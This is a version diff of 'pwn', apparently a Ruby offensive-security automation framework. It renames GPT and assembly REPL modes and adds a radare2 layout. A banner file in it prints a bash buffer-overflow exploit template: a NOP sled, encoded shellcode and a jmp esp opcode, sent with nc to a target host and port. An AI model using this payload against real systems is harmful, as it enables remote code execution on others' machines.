pwn 0.5.36 → 0.5.38
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/README.md +3 -3
- data/bin/pwn +64 -31
- data/lib/pwn/banner/jmp_esp.rb +2 -2
- data/lib/pwn/banner/radare2.rb +3 -9
- data/lib/pwn/plugins/assembly.rb +2 -2
- data/lib/pwn/version.rb +1 -1
- data/third_party/r2-pwn-layout +1 -0
- metadata +2 -1
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 043cac75f52a8e2a64ba1b777a07704fc28b0daf9f4831fd1c1aeadf389f3ecb
|
4
|
+
data.tar.gz: e73a12328734481a942d73f9c6433eaac6083a1e3b1d74912b3ad8a7e807fd62
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 76141206533675a93ee42feadec1b9d2aa4eeed42b17849b8159fb392309a03afd9c80cd5f223489177c70da8cb872947cca170ed4eb70af33342b1891334f67
|
7
|
+
data.tar.gz: fb4d824e8f10ed0e233cb8080b153c54d2298888dcd0147cdefd1d4700c2c7db890e834d590a41794ce6f567f4fa978f6c5ea6da087135a77c996a8e2c62a53e
|
data/README.md
CHANGED
@@ -37,7 +37,7 @@ $ cd /opt/pwn
|
|
37
37
|
$ ./install.sh
|
38
38
|
$ ./install.sh ruby-gem
|
39
39
|
$ pwn
|
40
|
-
pwn[v0.5.
|
40
|
+
pwn[v0.5.38]:001 >>> PWN.help
|
41
41
|
```
|
42
42
|
|
43
43
|
[![Installing the pwn Security Automation Framework](https://raw.githubusercontent.com/0dayInc/pwn/master/documentation/pwn_install.png)](https://youtu.be/G7iLUY4FzsI)
|
@@ -52,7 +52,7 @@ $ rvm use ruby-3.3.0@pwn
|
|
52
52
|
$ gem uninstall --all --executables pwn
|
53
53
|
$ gem install --verbose pwn
|
54
54
|
$ pwn
|
55
|
-
pwn[v0.5.
|
55
|
+
pwn[v0.5.38]:001 >>> PWN.help
|
56
56
|
```
|
57
57
|
|
58
58
|
If you're using a multi-user install of RVM do:
|
@@ -62,7 +62,7 @@ $ rvm use ruby-3.3.0@pwn
|
|
62
62
|
$ rvmsudo gem uninstall --all --executables pwn
|
63
63
|
$ rvmsudo gem install --verbose pwn
|
64
64
|
$ pwn
|
65
|
-
pwn[v0.5.
|
65
|
+
pwn[v0.5.38]:001 >>> PWN.help
|
66
66
|
```
|
67
67
|
|
68
68
|
PWN periodically upgrades to the latest version of Ruby which is reflected in `/opt/pwn/.ruby-version`. The easiest way to upgrade to the latest version of Ruby from a previous PWN installation is to run the following script:
|
data/bin/pwn
CHANGED
@@ -45,13 +45,21 @@ begin
|
|
45
45
|
line_count = "\001\e[34m\002#{line_pad}\001\e[0m\002"
|
46
46
|
dchars = "\001\e[32m\002>>>\001\e[0m\002"
|
47
47
|
dchars = "\001\e[33m\002***\001\e[0m\002" if mode == :splat
|
48
|
-
|
49
|
-
|
50
|
-
pi.config.prompt_name = '
|
48
|
+
|
49
|
+
if pi.config.pwn_asm
|
50
|
+
pi.config.prompt_name = 'pwn.asm'
|
51
|
+
name = "\001\e[1m\002\001\e[37m\002#{pi.config.prompt_name}\001\e[0m\002"
|
52
|
+
dchars = "\001\e[32m\002>>>\001\e[37m\002"
|
53
|
+
dchars = "\001\e[33m\002***\001\e[37m\002" if mode == :splat
|
54
|
+
end
|
55
|
+
|
56
|
+
if pi.config.pwn_gpt
|
57
|
+
pi.config.prompt_name = 'pwn.gpt'
|
58
|
+
pi.config.prompt_name = 'pwn.gpt.SPEAKING' if pi.config.pwn_gpt_speak
|
51
59
|
name = "\001\e[1m\002\001\e[33m\002#{pi.config.prompt_name}\001\e[0m\002"
|
52
60
|
dchars = "\001\e[32m\002>>>\001\e[33m\002"
|
53
61
|
dchars = "\001\e[33m\002***\001\e[33m\002" if mode == :splat
|
54
|
-
if pi.config.
|
62
|
+
if pi.config.pwn_gpt_debug
|
55
63
|
dchars = "\001\e[32m\002(DEBUG) >>>\001\e[33m\002"
|
56
64
|
dchars = "\001\e[33m\002(DEBUG) ***\001\e[33m\002" if mode == :splat
|
57
65
|
end
|
@@ -115,8 +123,8 @@ begin
|
|
115
123
|
exec_hook :after_read, eval_string, self
|
116
124
|
|
117
125
|
begin
|
118
|
-
complete_expr = true if config.
|
119
|
-
complete_expr = Pry::Code.complete_expression?(@eval_string) unless config.
|
126
|
+
complete_expr = true if config.pwn_gpt
|
127
|
+
complete_expr = Pry::Code.complete_expression?(@eval_string) unless config.pwn_gpt
|
120
128
|
rescue SyntaxError => e
|
121
129
|
output.puts e.message.gsub(/^.*syntax error, */, "SyntaxError: ")
|
122
130
|
reset_eval_string
|
@@ -126,7 +134,7 @@ begin
|
|
126
134
|
@suppress_output = true if @eval_string =~ /;\Z/ ||
|
127
135
|
@eval_string.empty? ||
|
128
136
|
@eval_string =~ /\A *#.*\n\z/ ||
|
129
|
-
config.
|
137
|
+
config.pwn_gpt
|
130
138
|
|
131
139
|
# A bug in jruby makes java.lang.Exception not rescued by
|
132
140
|
# `rescue Pry::RescuableException` clause.
|
@@ -168,9 +176,9 @@ begin
|
|
168
176
|
throw(:breakout) if current_binding.nil?
|
169
177
|
end
|
170
178
|
|
171
|
-
# Ensure the return value in
|
179
|
+
# Ensure the return value in pwn_gpt mode reflects the input
|
172
180
|
def evaluate_ruby(code)
|
173
|
-
if config.
|
181
|
+
if config.pwn_gpt || config.pwn_asm
|
174
182
|
result = message = code.to_s
|
175
183
|
return
|
176
184
|
end
|
@@ -203,33 +211,45 @@ begin
|
|
203
211
|
end
|
204
212
|
end
|
205
213
|
|
206
|
-
Pry::Commands.create_command 'toggle-
|
207
|
-
description
|
214
|
+
Pry::Commands.create_command 'toggle-pwn-asm' do
|
215
|
+
description 'Toggle pwn.asm interface.'
|
208
216
|
|
209
217
|
def process
|
210
218
|
pi = pry_instance
|
211
|
-
pi.config.
|
219
|
+
pi.config.pwn_asm ? pi.config.pwn_asm = false : pi.config.pwn_asm = true
|
212
220
|
|
213
|
-
pi.config.color = false if pi.config.
|
214
|
-
pi.config.color = true unless pi.config.
|
221
|
+
pi.config.color = false if pi.config.pwn_asm
|
222
|
+
pi.config.color = true unless pi.config.pwn_asm
|
215
223
|
end
|
216
224
|
end
|
217
225
|
|
218
|
-
Pry::Commands.create_command 'toggle-
|
219
|
-
description
|
226
|
+
Pry::Commands.create_command 'toggle-pwn-gpt' do
|
227
|
+
description 'Toggle pwn.gpt chat interface.'
|
220
228
|
|
221
229
|
def process
|
222
230
|
pi = pry_instance
|
223
|
-
pi.config.
|
231
|
+
pi.config.pwn_gpt ? pi.config.pwn_gpt = false : pi.config.pwn_gpt = true
|
232
|
+
|
233
|
+
pi.config.color = false if pi.config.pwn_gpt
|
234
|
+
pi.config.color = true unless pi.config.pwn_gpt
|
224
235
|
end
|
225
236
|
end
|
226
237
|
|
227
|
-
Pry::Commands.create_command 'toggle-
|
228
|
-
description '
|
238
|
+
Pry::Commands.create_command 'toggle-pwn-gpt-debug' do
|
239
|
+
description 'Display the response_history object while using pwn.gpt'
|
229
240
|
|
230
241
|
def process
|
231
242
|
pi = pry_instance
|
232
|
-
pi.config.
|
243
|
+
pi.config.pwn_gpt_debug ? pi.config.pwn_gpt_debug = false : pi.config.pwn_gpt_debug = true
|
244
|
+
end
|
245
|
+
end
|
246
|
+
|
247
|
+
Pry::Commands.create_command 'toggle-pwn-gpt-speaks' do
|
248
|
+
description 'Use speech capabilities within pwn.gpt to speak answers.'
|
249
|
+
|
250
|
+
def process
|
251
|
+
pi = pry_instance
|
252
|
+
pi.config.pwn_gpt_speak ? pi.config.pwn_gpt_speak = false : pi.config.pwn_gpt_speak = true
|
233
253
|
end
|
234
254
|
end
|
235
255
|
|
@@ -239,31 +259,44 @@ begin
|
|
239
259
|
output.puts PWN::Banner.welcome
|
240
260
|
end
|
241
261
|
|
242
|
-
#
|
262
|
+
# pwn.gpt Hooks
|
243
263
|
Pry.config.hooks.add_hook(:before_session, :init_opts) do |_output, _binding, pi|
|
244
264
|
if opts[:yaml_config_path] && File.exist?(opts[:yaml_config_path])
|
245
265
|
yaml_config_path = opts[:yaml_config_path]
|
246
266
|
yaml_config = YAML.load_file(yaml_config_path, symbolize_names: true)
|
247
|
-
pi.config.
|
248
|
-
Pry.config.
|
267
|
+
pi.config.pwn_gpt_key = yaml_config[:open_ai_key]
|
268
|
+
Pry.config.pwn_gpt_key = pi.config.pwn_gpt_key
|
269
|
+
end
|
270
|
+
end
|
271
|
+
|
272
|
+
Pry.config.hooks.add_hook(:after_read, :pwn_asm_hook) do |request, pi|
|
273
|
+
if pi.config.pwn_asm && !request.chomp.empty?
|
274
|
+
request = pi.input.line_buffer
|
275
|
+
# Determine what request is and determine if it's asm or opcodes
|
276
|
+
if request =~ /^[a-fA-F0-9\s]+$/
|
277
|
+
response = PWN::Plugins::Assembly.opcodes_to_asm(opcodes: request)
|
278
|
+
else
|
279
|
+
response = PWN::Plugins::Assembly.asm_to_opcodes(asm: request)
|
280
|
+
end
|
281
|
+
puts "\n\n\n\001\e[31m\002#{response}\001\e[0m\002\n\n\n"
|
249
282
|
end
|
250
283
|
end
|
251
284
|
|
252
|
-
Pry.config.hooks.add_hook(:after_read, :
|
253
|
-
if pi.config.
|
285
|
+
Pry.config.hooks.add_hook(:after_read, :pwn_gpt_hook) do |request, pi|
|
286
|
+
if pi.config.pwn_gpt && !request.chomp.empty?
|
254
287
|
request = pi.input.line_buffer
|
255
|
-
debug = pi.config.
|
256
|
-
open_ai_key = pi.config.
|
288
|
+
debug = pi.config.pwn_gpt_debug
|
289
|
+
open_ai_key = pi.config.pwn_gpt_key
|
257
290
|
open_ai_key ||= ''
|
258
291
|
if open_ai_key.empty?
|
259
292
|
open_ai_key = PWN::Plugins::AuthenticationHelper.mask_password(
|
260
293
|
prompt: 'OpenAI API Key'
|
261
294
|
)
|
262
|
-
pi.config.
|
295
|
+
pi.config.pwn_gpt_key = open_ai_key
|
263
296
|
end
|
264
297
|
|
265
|
-
response_history = pi.config.
|
266
|
-
speak_answer = pi.config.
|
298
|
+
response_history = pi.config.pwn_gpt_response_history
|
299
|
+
speak_answer = pi.config.pwn_gpt_speak
|
267
300
|
response = PWN::Plugins::OpenAI.chat(
|
268
301
|
token: open_ai_key,
|
269
302
|
request: request.chomp,
|
@@ -286,7 +319,7 @@ begin
|
|
286
319
|
pp response_history
|
287
320
|
puts "\nresponse_history[:choices] Length: #{response_history[:choices].length}\n" unless response_history.nil?
|
288
321
|
end
|
289
|
-
pi.config.
|
322
|
+
pi.config.pwn_gpt_response_history = response_history
|
290
323
|
end
|
291
324
|
end
|
292
325
|
|
data/lib/pwn/banner/jmp_esp.rb
CHANGED
@@ -12,10 +12,10 @@ module PWN
|
|
12
12
|
public_class_method def self.get
|
13
13
|
'
|
14
14
|
#!/bin/bash
|
15
|
-
|
15
|
+
crash=$(printf \'\x90%.0s\' {1..1337})
|
16
16
|
asm_ops=\'\xff\xe4\'
|
17
17
|
sh_code=\'\x6a\x14\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0c\x09\x11\xb5\x83\xeb\xfc\xe2\xf4\x3d\xd2\xe6\x56\x5f\x4a\x42\xdf\x0e\x80\xf0\x05\x6a\xc4\x91\xee\x52\x5b\x79\xb7\x0c\x0c\x28\xdf\x1c\x58\x41\x3c\xed\x63\x77\xed\xc1\x89\x98\xf4\x08\xba\x15\x05\x6a\xc4\x91\xf6\xbc\x6f\xdc\x35\x9f\x50\x7b\x8a\x54\xc4\x91\xfc\x75\xf1\x79\x9a\x23\x7a\x79\xdd\x23\x6b\x78\xdb\x85\xea\x41\xe6\x85\xe8\xa1\xbe\xc1\x89\x11\xb5\'
|
18
|
-
pwn="${
|
18
|
+
pwn="${crash}${sh_code}${asm_ops}"
|
19
19
|
echo -en $pwn | nc $TARGET $PORT
|
20
20
|
'.red
|
21
21
|
rescue StandardError => e
|
data/lib/pwn/banner/radare2.rb
CHANGED
@@ -11,15 +11,9 @@ module PWN
|
|
11
11
|
|
12
12
|
public_class_method def self.get
|
13
13
|
'
|
14
|
-
$
|
15
|
-
|
16
|
-
|
17
|
-
[0x7f000070776e]> afl ~..
|
18
|
-
[0x7f000070776e]> db main
|
19
|
-
[0x7f000070776e]> db
|
20
|
-
[0x7f000070776e]> dc
|
21
|
-
[0x7f000070776e]> pdg
|
22
|
-
[0x7f000070776e]> v
|
14
|
+
$ target_arm_bin="/usr/bin/id";
|
15
|
+
$ alias r2="setarch $(uname -m) -R r2 -AA -c \"v /opt/pwn/third_party/r2-pwn-layout\""
|
16
|
+
$ r2 -c "db (0x`readelf -S $target_arm_bin | grep text | awk "{print $NF}"`)+0x4+0x00000328" -c "ood" -c "dc" -c "v" $target_arm_bin
|
23
17
|
'.yellow
|
24
18
|
rescue StandardError => e
|
25
19
|
raise e
|
data/lib/pwn/plugins/assembly.rb
CHANGED
@@ -22,7 +22,7 @@ module PWN
|
|
22
22
|
|
23
23
|
raise 'ERROR: opcodes parameter is required.' if opcodes.nil?
|
24
24
|
|
25
|
-
case arch
|
25
|
+
case arch.to_s.downcase
|
26
26
|
when 'i386', 'i686', 'x86'
|
27
27
|
arch_obj = Metasm::Ia32.new(endian)
|
28
28
|
when 'amd64', 'x86_64'
|
@@ -82,7 +82,7 @@ module PWN
|
|
82
82
|
|
83
83
|
raise 'ERROR: asm parameter is required.' if asm.nil?
|
84
84
|
|
85
|
-
case arch
|
85
|
+
case arch.to_s.downcase
|
86
86
|
when 'i386', 'i686', 'x86'
|
87
87
|
arch_obj = Metasm::Ia32.new(endian)
|
88
88
|
when 'amd64', 'x86_64'
|
data/lib/pwn/version.rb
CHANGED
@@ -0,0 +1 @@
|
|
1
|
+
{"Title":"Disassembly","Cmd":"pd","x":0,"y":1,"w":100,"h":38},{"Title":"Stack","Cmd":"pxq 256","x":0,"y":39,"w":100,"h":16},{"Title":"Hexdump","Cmd":"xc $r*16","x":0,"y":55,"w":100,"h":16},{"Title":"Registers","Cmd":"dr","x":100,"y":1,"w":35,"h":70},{"Title":"Function Calls","Cmd":"aflm","x":135,"y":1,"w":44,"h":70}
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: pwn
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.5.
|
4
|
+
version: 0.5.38
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- 0day Inc.
|
@@ -2185,6 +2185,7 @@ files:
|
|
2185
2185
|
- spec/spec_helper.rb
|
2186
2186
|
- third_party/.gitkeep
|
2187
2187
|
- third_party/http-request-headers-fields-large.txt
|
2188
|
+
- third_party/r2-pwn-layout
|
2188
2189
|
- update_pwn.sh
|
2189
2190
|
- upgrade_ruby.sh
|
2190
2191
|
- vagrant/provisioners/apache2.sh
|